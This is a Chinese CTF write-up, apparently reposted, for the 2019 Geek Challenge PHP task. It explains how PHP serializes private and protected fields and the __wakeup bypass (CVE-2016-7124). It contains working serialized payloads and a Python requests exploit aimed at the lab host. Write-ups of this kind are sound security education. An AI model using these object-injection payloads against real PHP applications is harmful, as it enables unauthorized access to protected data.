[極客大挑戰 2019]PHP


0x00知識點

1:直接掃描目錄得到網站源碼。
2:public、protected與private在序列化時的區別

protected 聲明的字段為保護字段,在所聲明的類和該類的子類中可見,但在該類的對象實例中不可見。因此保護字段的字段名在序列化時,字段名前面會加上\0*\0的前綴。這里的 \0 表示 ASCII 碼為 0 的字符(不可見字符),而不是 \0 組合。這也許解釋了,為什么如果直接在網址上,傳遞\0*\0username會報錯,因為實際上並不是\0,只是用它來代替ASCII值為0的字符。必須用python傳值才可以。
private 聲明的字段為私有字段,只在所聲明的類中可見,在該類的子類和該類的對象實例中均不可見。因此私有字段的字段名在序列化時,類名和字段名前面都會加上\0的前綴。字符串長度也包括所加前綴的長度。其中 \0 字符也是計算長度的。

3:__wakeup()方法繞過
一個經常被用來出題的函數
(CVE-2016-7124)

作用:與__sleep()函數相反,__sleep()函數,是在序序列化時被自動調用。__wakeup()函數,在反序列化時,被自動調用。繞過:當反序列化字符串,表示屬性個數的值大於真實屬性個數時,會跳過 __wakeup 函數的執行。

0x01解題

關鍵代碼:

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

大致思路就是通過反序列化來執行__destruct()中的echo $flag。兩個條件$this->password == 100,$this->username === 'admin'。

直接將代碼反序列化

結果:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

其中name后面的2,代表類中有2個屬性,但如果我們把2改成3,就會繞過__wakeup()函數。而且因為是private聲明,我們需要在類名和字段名前面都會加上\0的前綴

O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

注意:
這里使用python提交,因為他是私有類,
類名和字段名前面都會加上\0的前綴

這里的 \0 表示 ASCII 碼為 0 的字符(不可見字符),而不是 \0 組合。這也許解釋了,為什么如果直接在網址上,傳遞\0*\0username會報錯,因為實際上並不是\0,只是用它來代替ASCII值為0的字符。必須用python傳值才可以。

exp:

import  requests

url ="http://7bc3f84d-1e2f-4a49-897a-15eb4d1d5255.node3.buuoj.cn"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)

exp2:
如果不使用python提交
在url欄中會出現\0
有空白符,而復制的時候會丟失。
加上%00

payload:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

參考鏈接:

https://blog.csdn.net/weixin_44077544/article/details/103542260


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM